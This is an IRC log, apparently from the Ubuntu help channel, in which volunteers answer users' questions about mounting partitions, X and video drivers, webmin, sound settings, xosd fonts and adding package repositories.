[12:00] <tombs> hi ppl
[12:00] <black_13> how do i make the kernel module for unionfs
[12:01] <selinium> hi all, what is the command line for unzipping a .zip file?
[12:01] <black_13> unzip
[12:01] <kcidx> Can anyone help me downgrade to xserver-xorg-core to 6.8.2-5
[12:01] <selinium> black_13: Doh!
[12:01] <kcidx> Can anyone help me downgrade to xserver-xorg-core to 6.8.2-53
[12:01] <kcidx> sorry typo
[12:01] <black_13> dont sweat it
[12:01] <alm7100> Hi i am new at this and need som help to install at deb packet
[12:02] <da_puzzle> hello
[12:02] <Ebowles> how can I make it so I can modify the desktop without being root? Along with the cd/dvd drives?
[12:02] <alm7100> da_puzzle are you from dk??
[12:02] <da_puzzle> no
[12:02] <topyli> alm7100: newbies should not download any debs from around the Web. they should use the package manager :)
[12:03] <da_puzzle> does anyone know a good program like cpanel for ubuntu
[12:03] <da_puzzle> to do all that stuff
[12:03] <alm7100> iam trying to install skype?
[12:03] <ompaul> alm7100, one of the few exceptions
[12:03] <nicknamex219> 1F j00 C4N R34D TH1S j00 N33D t0 G3T L41D
[12:03] <NoUse> !skype
[12:03] <ubotu> [skype]  http://www.ubuntulinux.org/wiki/SkypeHowto/, or deb http://download.skype.com/linux/repos/debian/ stable non-free
[12:03] <Fr0Gs> i got this error when trying to upgrade to breezy
[12:03] <da_puzzle> !ircd
[12:03] <ubotu> da_puzzle: I don't know, could you explain it?
[12:03] <da_puzzle> !irc
[12:03] <ubotu> irc is, like, totally, Internet Relay Chat. It is a virtual network with servers allowing connections from clients where many people connect and chat with each other related to Linux or even sex.
[12:04] <lsuactiafner> !mplayer
[12:04] <ubotu> I guess mplayer is https://wiki.ubuntu.com/MplayerInstallHowto.  For compiling, see: http://ubuntuforums.org/showthread.php?t=31061
[12:04] <ompaul> nicknamex219, N07 fUnY
[12:04] <ohphracku> 101 N1<kn@m3
[12:04] <Fr0Gs> !xmms
[12:04] <ubotu> Fr0Gs: I give up, what is it?
[12:04] <lsuactiafner> ubotu tell dreamie about mplayer
[12:04] <da_puzzle> anyone know a good ircd
[12:04] <Fr0Gs> UnrealIRCD
[12:04] <da_puzzle> that i can install on my ubuntu box
[12:04] <Fr0Gs> Solahex
[12:04] <alm7100> thanks i trye to look at it
[12:04] <da_puzzle> that i can get service;s
[12:04] <Fr0Gs> wait SolaHex doesnt work
[12:04] <Fr0Gs> a
[12:04] <Fr0Gs> on ubuntu
[12:04] <Jazy84> is there any way to keep the machine from going into 'sleep mode' when you close the lid.
[12:05] <Ebowles> how can I make it so I can modify the desktop without being root? Along with the cd/dvd drives?
[12:05] <Fr0Gs> sudo commandhere
[12:05] <kcidx> Can anyone help me downgrade to xserver-xorg-core to 6.8.2-53   i'm using breezy and the current update breaks DRI
[12:06] <gigaclon> is there a way to make Ubuntu turn off my laptop panel when I close the latch
[12:06] <nalioth> Ebowles: what exactly are you wanting to modify?
[12:06] <Ebowles> nalioth, I can't just right click and Delete or Rename icons anymore
[12:06] <Ebowles> I can't put stuff on the desktop unless I do it through root terminal
[12:06] <Seveas> c0d3ster, 'sup?
[12:07] <c0d3ster> well with some help from BankB i might have gotten it figured out.. ill letchu know
[12:07] <gigaclon> maybe the desktop got moved?
[12:07] <Seveas> k :)
[12:07] <c0d3ster> BlankB*
[12:07] <Jazy84> when it trys to bring back up the wifi the machine will keep it from coming back up
[12:07] <nalioth> Ebowles: then the permissions for your desktop have gone wonky
[12:08] <Ebowles> nalioth yes, any ideas on how to fix it?
[12:08] <nalioth> Ebowles: and i'm not quite sure how to fix it
[12:08] <Ebowles> dang
[12:08] <nalioth> Ebowles: but now that folks can see your exact problem, i'm sure one of them knows
[12:08] <Jazy84> you wouldn't be able to just chmod the Desktop for the user?
[12:09] <nalioth> Ebowles: is it ONLY your desktop you can't write to?
[12:09] <Ebowles> nalioth, I also can't read cds or dvds unless I run the program from root
[12:10] <ompaul> Is there a general problem with OOo on hoary, or is my machine just being bolchie?
[12:10] <nalioth> Ebowles: optical discs are a whole other subject, are there any other files/folders you cant manipulate as a user?
[12:10] <Ebowles> no, thats it I think
[12:11] <nalioth> Ebowles: Jazy84 had a suggestion. perhaps he could elaborate for you
[12:11] <Jazy84> well i was just saying to change the premissions on the folder /home/user/Desktop
[12:11] <Jazy84> but..
[12:11] <Jazy84> i dunno
[12:11] <GuiCave> hi, i am from brazil and i cant configure my keyboard
[12:11] <Ebowles> I can't chmod it, it says its a directory
[12:12] <da_puzzle> anyone know where i can get cpanel
[12:12] <nalioth> Ebowles: you can chmod it
[12:12] <Jazy84> you should be able to
[12:12] <Jazy84> man chmod
[12:12] <da_puzzle> anyone know where lol
[12:12] <qt2> err, is there a reason that ubuntu is telling me i have to be superuser to mount?
[12:12] <dreamie> ok the mplayer thing isnt working
[12:12] <IcemanV9> Ebowles: you may need "sudo" to make it works
[12:12] <fanopnaic> qt2: yes, because it's true.
[12:12] <Seveas> da_puzzle, cpanel costs money
[12:12] <dreamie> mplayer doesnt even see that i have a dvd
[12:12] <nalioth> qt2: yes the reason is system security
[12:12] <da_puzzle> i know
[12:13] <ompaul> OOo took 2 minutes to open :(
[12:13] <Seveas> get it from the cpanel vendors
[12:13] <da_puzzle> well is there something like it free
[12:13] <Seveas> webmin comes closest
[12:13] <GuiCave> my keyboard is US layout .. but i can t configure cecedil ...
[12:13] <unvs_> is it common when installing x/gnome apps to not get the icon? just the default one?
[12:13] <Arsonide> Erm, how do I change file associations?
[12:13] <Arsonide> I hate mplayer.
[12:13] <qt2> nalioth, err, cd's used to mount themselves when i put them in though <.<;
[12:13] <qt2> nalioth, now they don't...
[12:13] <Seveas> da_puzzle, read https://wiki.ubuntu.com/WebminWithoutARootAccount if you plan to try webmin
[12:14] <nalioth> unvs_: depends on the pkg instructions (sometimes it takes a logout/login for the icon to show)
[12:14] <nalioth> qt2: dunno about that
[12:14] <unvs_> nalioth: ah. thanks
[12:14] <da_puzzle> is webmin good
[12:14] <unvs_> nalioth: hard to get used to never having to reboot i guess :)
[12:15] <nalioth> unvs_: you'll get used to it, lol
[12:16] <qt2> damnit, i cant get this dvd to mount for the life of me.
[12:16] <deflux-> welp
[12:16] <deflux-> I can't get Xorg to work with the apple cinema display.
[12:16] <deflux-> That's a shame.
[12:16] <deflux-> I guess I won't be able to run ubuntu. :(
[12:16] <nalioth> deflux-: really?
[12:16] <CarlFK> qt2 - see what vobcopy does
[12:17] <deflux-> Yeah, I've determined the correct horiz and vert rates.
[12:17] <deflux-> And the optimum resolution.
[12:17] <CarlFK> qt2 -nm, that requires it to be mounted ... duh.
[12:17] <nalioth> deflux-: there are no refresh rates for a flat panel
[12:17] <deflux-> I know the system boots gnome, because the start sound plays.
[12:17] <qt2> aha, now it works. ;)
[12:17] <deflux-> nalioth: Tried without and with the standard 30.0-75, 59-60 specified by apple.
[12:18] <nalioth> deflux-: you have console only? or nothing at all?
[12:18] <deflux-> Console only.
[12:18] <deflux-> Disabled gdm starting on bootup so I can at least get into the system.
[12:18] <nalioth> deflux-: for now try "sudo dpkg-reconfigure xserver-xorg" and choose the VESA driver
[12:18] <deflux-> one tick
[12:19] <qt2> yeah, there's defintly something wrong with permissions in my /etc directory...
[12:19] <qt2> everything has a permission of 0755 <.<;
[12:19] <deflux-> nalioth, is vga appropriate?  vesa is not an option.
[12:19] <Xanthus7> I want to save my alsa conf  what is the command I thought it was alsactl save
[12:19] <CookedGryphon> hey, i'm having trouble installing the cvs version of aMSN
[12:20] <CookedGryphon> it comes up with      Error in startup script: can't use empty string as operand of "|"
[12:20] <CookedGryphon> then prints a section of the script
[12:20] <deflux-> I wonder if framebuffer is part of the problem.
[12:20] <da_puzzle> Seveas, do you know a tut to downloading and installing webmin i am root
[12:20] <nalioth> deflux-: VESA will be in the "driver" section
[12:20] <da_puzzle> !webmin
[12:20] <ubotu> To use webmin with ubuntu you have to add a webmin-root account with : /usr/share/webmin/changepass.pl /etc/webmin root "password", or https://wiki.ubuntu.com/WebminWithoutARootAccount
[12:22] <da_puzzle> anyone know
[12:23] <deflux-> nalioth: It wasn't.  o,o  I'll check again.
[12:23] <nalioth> deflux-: you are using hoary, right?
[12:23] <LasseL> is it safe enough to do a dist-upgrade as synaptic constantly suggests me to do?
[12:23] <LasseL> "Smart upgrade"
[12:23] <qt2> damnit, how do i mount a blank dvd as writable?
[12:24] <deflux-> nalioth: Yes.
[12:24] <CarlFK> qt2 - I don't think you can
[12:25] <nalioth> deflux-: hmmm, VESA should be in there with ati, nvidia, s3, and the other drivers
[12:25] <Xanthus7> I just reconfigured my alsamixer for audigy2 sound card and I need to save that what is the command please
[12:25] <deflux-> nope
[12:25] <deflux-> only v is vga.
[12:25] <qt2> CarlFK, ok, then how do i burn to it?
[12:25] <Ebowles> I don't understand this chmod stuff
[12:25] <kent> Is any one here using breezy having problems with rhythmbox?
[12:25] <CarlFK> qt2 - I use growisofs.  i hear kb3 will
[12:25] <CookedGryphon> does anyone have any ideas about my aMSN?
[12:26] <deflux-> I can try and put vesa directly into my xorg.conf
[12:26] <nalioth> deflux-: i think you're not getting far enough along in the sequence
[12:26] <qt2> CarlFK, any gui cd burner SHOULD work, shouldnt it?
[12:26] <CarlFK> qt2 - are you trying to burn data or DVD movie
[12:26] <deflux-> nope
[12:26] <CarlFK> what else is there?
[12:26] <deflux-> Get a message that vesa module does not exist
[12:26] <CarlFK> oh.. qt2 <> deflux- ;)
[12:26] <deflux-> nalioth: I'm at the list with all the drivers, ati, s3virge, s3, nv, etc.
[12:27] <nalioth> deflux-: yer sh****g me
[12:27] <deflux-> nalioth: I do no such thing.  :)
[12:27] <deflux-> I can list them out if you wish.
[12:27] <nalioth> deflux-: now i'm really puzzled
[12:27] <CarlFK> qt2 - I don't think so.  there is cdrecord and dvdrecord, or a cdrecord that is patched for DVD's...
[12:27] <nalioth> deflux-: VESA is standard in all distros
[12:27] <deflux-> nalioth: Oh...this might help.  lol
[12:27] <deflux-> I'm on powerpc.
[12:27] <deflux-> ;)
[12:27] <Seveas> !test
[12:27] <ubotu> Crashed.
[12:27] <nalioth> deflux-: i know, you mentioned the apple cinema display
[12:27] <Seveas> ubotu, thanks :)
[12:27] <ubotu> Seveas: graag gedaan
[12:28] <deflux-> Ah, could be using it on a x86 platform.  But yeah, on powerpc.  Vesa's not here.  I wonder if I can bring it down to a different resolution.
[12:28] <nalioth> deflux-: but that makes no difference, i'm on a new dual-proc powermac, and i've got VESA available
[12:28] <Xanthus7> Help please
[12:28] <nalioth> strange
[12:28] <deflux-> nalioth: Switching the driver to "vesa" in xorg states that the module isn't available.
[12:29] <nalioth> deflux-: wow
[12:29] <deflux-> heh
[12:29] <brk3> in the installer when i try to specify a new size for my partition and press enter it just does nothing and goes back to the main screen.. anyone know whats uop?
[12:29] <Xanthus7> How do I save my ALSACTL
[12:29] <deflux-> I've gotten farther with ubuntu than any other linux distro.
[12:29] <qt2> CarlFK, data.
[12:29] <deflux-> I'd use FreeBSD, but their ppc port just plain stinks.
[12:29] <nalioth> deflux-: for now i guess you can play with the resolution
[12:29] <Seveas> alsactl store
[12:29] <Seveas> (or save)
[12:29] <Xanthus7> TY
[12:30] <Ebowles> whats the command to check out how much hdd space I have?
[12:31] <CookedGryphon> Does anybody know when the repositories are gonna be fixed? I'm trying to get wine, and it won't work, there's loads of them broken, and some that aren't up to date, i really really like ubuntu, but if they don't sort the repositories i'm seriously considering changing distro
[12:31] <deflux-> what part in the xorg.conf dictates to use the linux framebuffer device?
[12:32] <wildchild87> hi
[12:32] <nalioth> Ebowles: use apt to install "discus" it is a human friendly console app to tell you that info
[12:32] <apokryphos> Ebowles: df
[12:32] <CarlFK> Ebowles - df
[12:32] <CarlFK> bam
[12:32] <thoreauputic> Ebowles: df -h <-- human readable
[12:33] <deflux-> augh
[12:33] <apokryphos> or for a pretty way of doing it: filelight
[12:33] <deflux-> this is driving me nuts!
[12:34] <CookedGryphon> can anyone hyear me?
[12:34] <wildchild87> can anybody help with my inet connection?
[12:34] <nalioth> deflux-: what kind of mac are you running?
[12:34] <apokryphos> thoreauputic: the factoid for filelight deleted too :|
[12:34] <deflux-> it's a mac mini
[12:34] <omega> deflux-: you think you're going nuts?  I've been chasing what now seems to be a DPMS-related crash for over 2 weeks
[12:34] <nalioth> deflux-: smokin new
[12:34] <nalioth> deflux-: which may be some part of the problem
[12:34] <apokryphos> !unforget filelight
[12:35] <ubotu> apokryphos: Successfully recovered 'filelight'.  Have fun now.
[12:35] <deflux-> nalioth: heh.  I wouldn't think it'd be this darn difficult, but this is my first ppc platform.
[12:35] <Bad_Magic> can anyone walk me through automatically mounting my ntfs partition as read only when ubuntu loads? id really appreciate it
[12:35] <thoreauputic> apokryphos: :(
[12:35] <thoreauputic> !mountwindows
[12:35] <ubotu> from memory, mountwindows is Download and run http://www.ubuntulinux.nl/files/winmac_fstab to make your windows and mac partions mount automatically
[12:35] <nalioth> deflux-: well, ppc and amd64 lags behind x86 in developement
[12:35] <thoreauputic> Bad_Magic: ^^^
[12:35] <deflux-> nalioth: Do you know off hand what the kernel switch was for the install to not use framebuffer video?
[12:36] <nalioth> deflux-: and the mini (and the new  imac G5) are still new enough not to have total linux support
[12:36] <nalioth> deflux-: sorry, idk
[12:36] <dreamie> anyone has a solution for my dvd player problem?
[12:36] <deflux-> hrm
[12:39] <Bad_Magic> any way for me to run that remotely without having to cut and paste it into a file? (uber noob here)
[12:41] <ubuntuuser56> hi could somone help me, im looking to install k otrrent using the following guide: http://ktorrent.pwsp.net/index.php?page=downloads
[12:42] <ubuntuuser56> anyone?
[12:42] <stoeptegel>  i'am having problems with reading acces in some partitions, it give me: mount: could not find /dev/sbd5 in /etc/fstab/ or /etc/mtab.  Could someone give me a hint?
[12:43] <ubuntuuser56> all problems, no answers!
[12:43] <CarlFK> stoeptegel mount something somwhere
[12:43] <thoreauputic> Bad_Magic:  why not right-click, save page as ...
[12:43] <apokryphos> ubuntuuser56: there's a repository with KTorrent
[12:43] <ksmurf> any fix for nvidia glx and breezy?  The binary driver causes issues with gedit and rythumbox.... among other things
[12:43] <apokryphos> ubuntuuser56: as the guide suggests
[12:43] <ubuntuuser56> i have to add
[12:43] <cevizoglu> how do I invert my entire screen's UI?  i.e. all white pixels are black, all black are white, blue are orange, orange are blue, etc.
[12:43] <ubuntuuser56> and am having problems :p
[12:44] <apokryphos> ubuntuuser56: like what?
[12:44] <fluvvell> stoeptegel: sounds like a usb drive or something?
[12:44] <ubuntuuser56> add repositores :P
[12:44] <ubuntuuser56> synaptic or manually?
[12:44] <kent> stoeptegel, what command are you using? (and should it not be /dev/sdb and not /dev/sbd ?)
[12:44] <apokryphos> ubuntuuser56: manually is easier, IMO
[12:44] <MaxKyoto> hey guys... has anyone used xosd (osd_cat in particular) with ubuntu hoary?
[12:44] <brk3> whats the easiest way to create a partition
[12:44] <ubuntuuser56> yes is there a certian
[12:44] <apokryphos> ubuntuuser56: in Terminal: gksudo gedit /etc/apt/sources.list
[12:44] <ubuntuuser56> way i have to do it
[12:45] <ubuntuuser56> i.e. with spaces between each one
[12:45] <ubuntuuser56> or what not
[12:45] <ubuntuuser56> or jsut plop them down anywhere :D
[12:45] <apokryphos> ubuntuuser56: on a new line just add exactly: deb http://dinton.no-ip.org/ kubuntu main
[12:45] <ubuntuuser56> right
[12:45] <ubuntuuser56> and on the line directly under it add the next one?
[12:46] <apokryphos> yes, but you don't really have to
[12:46] <stoeptegel> CarlFX: give me the same error en add: check if the disk is put in correctly (dutch -> english translation)
[12:46] <bob2> Seveas: unless we're currently under heavy attack, that redirect to #ubuntu-unregged thing is highly obnoxious
[12:46] <ubuntuuser56> ahh ok
[12:46] <apokryphos> unless you plan on getting the deb source
[12:46] <Bad_Magic> so uh, how exactly do i run http://www.ubuntulinux.nl/files/winmac_fstab after i have it saved locally?
[12:46] <stoeptegel> fluvvell: no sata disks
[12:46] <ubuntuuser56> thanks for your hrlp!
[12:46] <apokryphos> bob2: slightly annoying since it doesn't let you change nick
[12:46] <stoeptegel> kent: i use the gui in kde
[12:46] <alm7100> Hi thanks for the help about skype now its works
[12:46] <apokryphos> ubuntuuser56: then just sudo apt-get update && sudo apt-get install ktorrent
[12:47] <ubuntuuser56> excellent thanks once again
[12:47] <Seveas> bob2, well, we're under heavy attack
[12:47] <fluvvell> stoeptegel: were they added since you installed ubuntu, or during setup
[12:47] <gigaclon> Seveas, trolls?
[12:48] <kent> stoeptegel, I dont use kde. What are you doing, running some kind of program which mounts the device for you? becaus, as I said - though im no expert-, it seems like it should be /dev/sdb and not /dev/sbd.  /dev/sdX is for scsi-devices (which usb-devices turns up like..)
[12:48] <Seveas> bob2, i'd be the first to remove the forward if the spambots are gone
[12:48] <nalioth> bob2: been this way for a couple days now - freenode wide (at least on the big channels)
[12:48] <MaxKyoto> does anyone know of any good scriptable osd apps?
[12:48] <stoeptegel> fluvvel: during setup
[12:48] <Seveas> but currently we have no choice
[12:48] <ksmurf> I have the binary nvidia driver installed on breezy and sudo gedit won't load..... there is no issue with gedit.  Any Ideas?
[12:48] <nalioth> gigaclon: pR0nbots advertising
[12:48] <crimsun> ksmurf: gksudo gedit ?
[12:48] <bob2> nalioth: yes, I know, I've been banning several bots an hour in #debian
[12:48] <bob2> until I gave up
[12:48] <Ng> MaxKyoto: there's xosd
[12:48] <bob2> Seveas: at this second?
[12:49] <ksmurf> sudo gedit.... or gksudo gedit
[12:49] <Seveas> bob2, yes
[12:49] <Seveas> join the unregged channel
[12:49] <alm7100> now i just need at program to cominicate with msn users so i can delete windows any ideas
[12:49] <bob2> I did
[12:49] <Seveas> (have /umode +CE if you do)
[12:49] <ksmurf> neither work with breezy and the nvidia driver
[12:49] <MaxKyoto> ng: that's my top choice, but i'm having trouble changing the font
[12:49] <Seveas> you'll see them join-parting all the time
[12:49] <Seveas> --> hasin (n=isvecguz@217.64.25.195) has joined #ubuntu-unregged
[12:49] <Seveas> <-- hasin (n=isvecguz@217.64.25.195) has left #ubuntu-unregged
[12:49] <fluvvell> stoeptegel: can you mount the drive manually?
[12:49] <CookedGryphon> alm7100, Gaim
[12:49] <crimsun> ksmurf: seems to work fine here
[12:50] <MaxKyoto> ng: everything i try doesn't work
[12:50] <Seveas> alm7100, applications -> internet -> gaim
[12:50] <ksmurf> crimsun what kernel?
[12:50] <crimsun> ksmurf: current breezy
[12:50] <fluvvell> stoeptegel: eg mount /dev/sdb5 /media/spare  (or some other empty folder)
[12:50] <stoeptegel> kent: my root partition (accessible) sda5 indeed, you are right, sry
[12:50] <alm7100> Seveas << And just connect with my msn user and password?
[12:50] <stoeptegel> fluvvell: trying...
[12:51] <Seveas> alm7100, yup
[12:51] <Bad_Magic> alm7100: yup
[12:51] <bob2> MaxKyoto: trouble = ?
[12:51] <Bad_Magic> heh
[12:51] <alm7100> Seveas << Thank
[12:51] <ksmurf> would it make a differnece that I'm running a smp?  This is the fifth install And the problem keeps repeating once I install the nvidia driver from nvidia
[12:51] <bob2> ksmurf: if the drivers in breezy don't work, please file a bug
[12:52] <bob2> if the ones from nvidia.com don't work, please tell them
[12:52] <Bad_Magic> is there a gui frontend for apt-get?
[12:52] <apokryphos> Bad_Magic: Synaptic, Kynaptic, Adept
[12:52] <CookedGryphon> Bad_Magic, aptitude or synaptic
[12:52] <MaxKyoto> bob2: i try fonts like "snap" "-*-snap-*-yadda-yadda" and "Myriad Pro:style=bold", nothing works... it just says "requested font cannot be found"
[12:52] <apokryphos> ..Kpackage
[12:52] <Bad_Magic> synaptic it is
[12:52] <Bad_Magic> =P
[12:53] <TylerE> MaxKyoto: what app?
[12:53] <ksmurf> bob2 that's not the issue bob2....  The drivers break gedit with the kernal.... and the glx ones in the repository I can'
[12:53] <Ng> MaxKyoto: I just installed xosd-bin and did this: echo hello | osd_cat -p top -A left -f "-bitstream-bitstream vera sans-*-*-*-*-*-800-*-*-*-*-*-*"
[12:53] <bob2> MaxKyoto: and can it be found? ie does xlsfonts or xfontsel list it?
[12:53] <alm7100> Seveas << And how do i get the list of my chat frinds?
[12:53] <Ng> MaxKyoto: (I have bitstream vera installed as a ttf) and it worked as expected
[12:53] <ksmurf> not get working ( the way I use to install them anyway)
[12:53] <MaxKyoto> tylere: xosd (osd_cat)
[12:53] <bob2> MaxKyoto: xosd uses X core fonts, so you'll probably need to use "xset" to add the right dir to your X font path
[12:54] <reiki> for those of you who use Opera...
[12:54] <MaxKyoto> bob2: yeah, i use them in other stuff
[12:54] <reiki> Go to  http://my.opera.com/community/party/reg.dml  before 12am tommorow
[12:54] <reiki> (8/31) and get opera registration code for FREE!  happy 10year anniversary!
[12:54] <Seveas> alm7100, msn stores those on the server, so you should get it as soon as you login
[12:54] <unvs_> i hope they publish stats for that opera page tomorrow.
[12:54] <MaxKyoto> bob2: wouldn't that already be done with the standard xfonts in ubuntu?
[12:54] <Ng> MaxKyoto: it ought to be
[12:54] <alm7100> Seveas << Nope its not getting it?
[12:55] <Ng> xfontsel shows plenty of fonts here
[12:55] <stoeptegel> fluvvell: when i open the mounted map i get:  could not open /media/spare
[12:55] <bob2> MaxKyoto: probably not, very few things use X core fonts anymore.  use xfontsel or xlsfonts to see if they're listed or not
[12:55] <MaxKyoto> ng: same here
[12:55] <alm7100> Seveas << Sorry none of them is online :-)
[12:55] <Concord_Dawn> !info rar
[12:55] <ubotu> rar: (Archiver for .rar files), section multiverse/utils, is optional. Version: 3.30-2 (hoary), Packaged size: 239 kB, Installed size: 488 kB
[12:55] <MaxKyoto> bob2: they're listed
[12:55] <Concord_Dawn> !info unrar
[12:55] <ubotu> unrar: (Unarchiver for .rar files), section universe/utils, is optional. Version: 1:0.0.1-1 (hoary), Packaged size: 16 kB, Installed size: 88 kB
[12:55] <Ng> MaxKyoto: use it to build a font string that definitely exists for your machine (preferably also one you know is ttf) and then jack the size up like in mine
[12:55] <Concord_Dawn> :)
[12:55] <Concord_Dawn> <3
[12:55] <Ng> MaxKyoto: or have you tried that already? ;)
[12:55] <bob2> MaxKyoto: copying and pasting the fontspec from xfontsel to xosd doesn't work?
[12:56] <MaxKyoto> ng: i've tried that
[12:56] <MaxKyoto> bob2: exactly
[12:56] <MaxKyoto> ng: yes
[12:56] <stoeptegel> fluvell: and the whole /mnt directory is empty :-s
[12:56] <NeoFax> How do I set 1.5.0 java as the default instead of 1.4.2?
[12:56] <Ng> MaxKyoto: does it just die? If I specify a non-existant font it aborts
[12:56] <bob2> NeoFax: same way you installed 1.4.2
[12:56] <MaxKyoto> ng: yes, it aborts
[12:56] <Bad_Magic> and, (sorry to be a complete pain) but someone pasted a link in here for fixing radeon cards under ubuntu so you actually get 3d acceleration, and i saved it on my windows partition =x
[12:57] <Bad_Magic> anyone have that handy?
[12:57] <Ng> MaxKyoto: does -f "fixed" work?
[12:57] <TylerE> Bad_Magic: Err, don't bother.
[12:57] <bob2> wiki.ubuntu.com/BinaryDriverHowto
[12:57] <bob2> and it's not "fixing"
[12:57] <fluvvell> stoeptegel: you need to create the directory first.  Where did you want to have it mounted anyway?
[12:57] <NeoFax> bob2: I have 1.4.2 and 1.5.0 both installed.  What file sets JAVA?
[12:57] <TylerE> Bad_Magic: Even working "correctly" the ATI drivers are crap. FAR worse than either the ATI windows, or nvidia linux drivers
[12:57] <MaxKyoto> ng: nope, and that's supposed to be the default font for xosd, right?
[12:57] <Ng> MaxKyoto: that's the font X won't even start without ;)
[12:58] <Bad_Magic> well, at least my screen is running in native
[12:58] <MaxKyoto> neofax: try $JAVA_HOME
[12:58] <LasseL> how can I restart a setup program that was launched by apt-get
[12:58] <bob2> NeoFax: whatever you configured, or whatever wht you installed configured; there's no single way to install java
[12:58] <bob2> LasseL: depends on what it was
[12:58] <LasseL> mldonkey-server
[12:58] <bob2> often 'sudo dpkg-reconfigure packagename'
[12:58] <TylerE> Bad_Magic: Sorry. That's just the way it is. If you want decent video in linux, run nvidia.
[12:58] <bob2> MaxKyoto: | wiki.ubuntu.com/BinaryDriverHowto
[12:58] <stoeptegel> fluvell: in media, i assumed that was the new kde thing instead of /mnt
[12:58] <bob2> I've been quite happy with my radeon under linux
[12:58] <Bad_Magic> its a laptop, lifes a bitch I suppose
[12:59] <stoeptegel> fluvvell: in /media
[12:59] <Bad_Magic> windows is for gaming anyway
[12:59] <Ng> MaxKyoto: what's the exact error you get out of interest?
[12:59] <fluvvell> stoeptegel: yeah, but you'll need a folder underneath media
[12:59] <Bad_Magic> this is for dev and school programming
[12:59] <TylerE> bob2: How much 3D have you done with it? When I had a radeon 9600 in this machine, performance was HORRIBLE
[12:59] <LasseL> bob2, but I quit the setup wizard before it installed, so now it seems like it is half installed :(
[12:59] <bob2> LasseL: "quite"?
[12:59] <stoeptegel> fluvell: now i'm officially lost
[12:59] <MaxKyoto> ng: ABORT: Requested font not found
[01:00] <fluvvell> stoeptegel: fair enough, is the partition blank, or is there something on it already?
[01:00] <funkyHat> stoeptegel, like /media/cdrom
[01:00] <LasseL> bob2, huh?
[01:00] <bob2> LasseL: how did you quit it?
[01:00] <LasseL> ctrl+c
[01:00] <robertj> heya all. I dpkg-reconfigured my kernel and usplash still is not making an appearance, do I need to do something else?
[01:01] <stoeptegel> fluvvell: it's full with stuff
[01:01] <Ng> MaxKyoto: that's very strange
[01:02] <MaxKyoto> ng: give me an example of how you call osd_cat... i'm like 99% sure i'm doing it right, but at this point, who knows
[01:02] <fluvvell> stoeptegel: well, mkdir /media/stuff    then mount it with         mount /dev/sdb5 /media/stuff
[01:02] <Ng> MaxKyoto: I pasted one a page or two up
[01:02] <LasseL> bob2, got it :) had to install it then run reconfigure
[01:02] <Ng> about 9 minutes ago
[01:03] <Bad_Magic> alright, this is going to truly reveal my ineptness at anything *nix, but how in the world do I run a script in su terminal?
[01:04] <bob2> you don't
[01:04] <MaxKyoto> ng: ok, i'm mad now... i just pasted your command and it worked (???)
[01:04] <MaxKyoto> ng: wtf?
[01:04] <stoeptegel> fluvvell: same could not open /media/stuff
[01:04] <bob2> wiki.ubuntu.com/binaryDriverHowto, and you use sudo in a regular terminal
[01:04] <Ng> MaxKyoto: give me an example of one that didn't work
[01:04] <stoeptegel> fluvvel: (i did umount it)
[01:04] <NeoFax> Where does ubuntu put its rc.local or /etc/modules.conf files?
[01:05] <Ng> NeoFax: there's no rc.local by default and /etc/modprobe.d/local
[01:05] <MaxKyoto> ng: echo TEST | /usr/bin/osd_cat --font="artwiz-snap-medium-r-normal--10-100-75-75-p-90-iso646.1991-irv"
[01:06] <MaxKyoto> ng: i pulled that font str from xlsfonts
[01:06] <Ng> NeoFax: (the other files in modprobe.d are read too, but they are from packages and so changing/adding to them is worth avoiding if possible)
[01:06] <CookedGryphon> Bad_Magic, can anybody help me set up aMSN?
[01:06] <bob2> NeoFax: what are you trying to do?
[01:06] <CookedGryphon> oops sry the badmagic was unintentional
[01:06] <stoeptegel> fluvvell: the rights are far less then other drives though
[01:06] <CookedGryphon> musta pressed tab
[01:06] <Bad_Magic> no problem
[01:06] <Bad_Magic> =P
[01:07] <NeoFax> I do not want my acx111 card started at bootup.
[01:07] <NeoFax> I want the ndiswrapper drivers to start with wpa_supplicant
[01:07] <Ng> MaxKyoto: yup, that aborts here too. maybe it just can't support whatever kind of font artwiz is?
[01:08] <MaxKyoto> ng: strange... at least you gave me something that works, i can build off that
[01:08] <bob2> so, hook it into however you start wpa_supplicant
[01:08] <bob2> and blacklist the module to begin with
[01:09] <MaxKyoto> ng: have you used debian much?
[01:09] <Ng> MaxKyoto: for a few years
[01:11] <MaxKyoto> ng: i use slackware on all my servers, but i gave ubuntu a try b/c i wanted something that would be quick and painless to setup, but I'm curious whether debian offers a minimal amount of pain minus all the noob stuff
[01:11] <NeoFax> How do you blacklist the module?
[01:11] <stoeptegel> fluvvell: i got it working now, thank you! :)   Is there a way to automount one or more partition from boot?
[01:11] <MaxKyoto> ng: particularly what draws my interest is apt, i'm loving that
[01:12] <funkyHat> stoeptegel, yes, the file /etc/fstab
[01:12] <bob2> NeoFax: /etc/hotplug/blacklist
[01:12] <funkyHat> stoeptegel, sudo gedit /etc/fstab to edit it
[01:12] <fluvvell> stoeptegel: you can edit the fstab to mount the partition on boot
[01:13] <fluvvell> sry
[01:13] <NeoFax> bob2: Thanks!
[01:14] <Ng> MaxKyoto: I think Ubuntu is much nicer for desktop use and at some point I'm going to move my debian file server to it too.
[01:14] <stoeptegel> thanks guys, so helpfull! i'll do it with this... have a good night/day all! Thanks again :)
[01:15] <Ng> MaxKyoto: it's like Debian but with less beard. There's not really all that much "noob" stuff and you can feel free to ignore all the graphical tools and do everything by hand if you want :)
[01:15] <da_puzzle> hello
[01:15] <fluvvell> Hey ppl, whats up with mounting a floppy (preformatted msdos) Says, mount: could not determine filesystems type, and none was specified.  Yet it mounts manually just fine, and adding vfat and msdos to the file /etc/filesystems makes no difference
[01:15] <da_puzzle> does anyone know how to install webmin on ubuntu
[01:16] <MaxKyoto> Ng: one thing that annoys me (maybe you've found a way around this) is that none of my ~/.Xsession files work in ubuntu
[01:16] <bob2> presumably fstab is wrong
[01:16] <Ng> da_puzzle: enable the universe repository and use apt-get or synaptic
[01:16] <da_puzzle> what do i type
[01:16] <da_puzzle> apt-get webmin
[01:16] <bob2> MaxKyoto: sure they do
[01:17] <Ng> da_puzzle: you'd be better off using synaptic and searching for webmin, there are lots of modules to chosoe from
[01:17] <bob2> MaxKyoto: use startx
[01:17] <Ng> MaxKyoto: sec, lemmie just check ;)
[01:17] <da_puzzle> ng may i pm u
[01:17] <MaxKyoto> bob2: I would prefer to keep gdm running b/c my wife is scared of the command line ;)
[01:18] <fluvvell> is floppy mounting a gnome problem?
[01:18] <bob2> then your .xsession will be ignored, since you've told gdm to let gnome-session set things up instead
[01:18] <bob2> fluvvell: no
[01:18] <MaxKyoto> bob2: i could barely get her to try kde or gnome
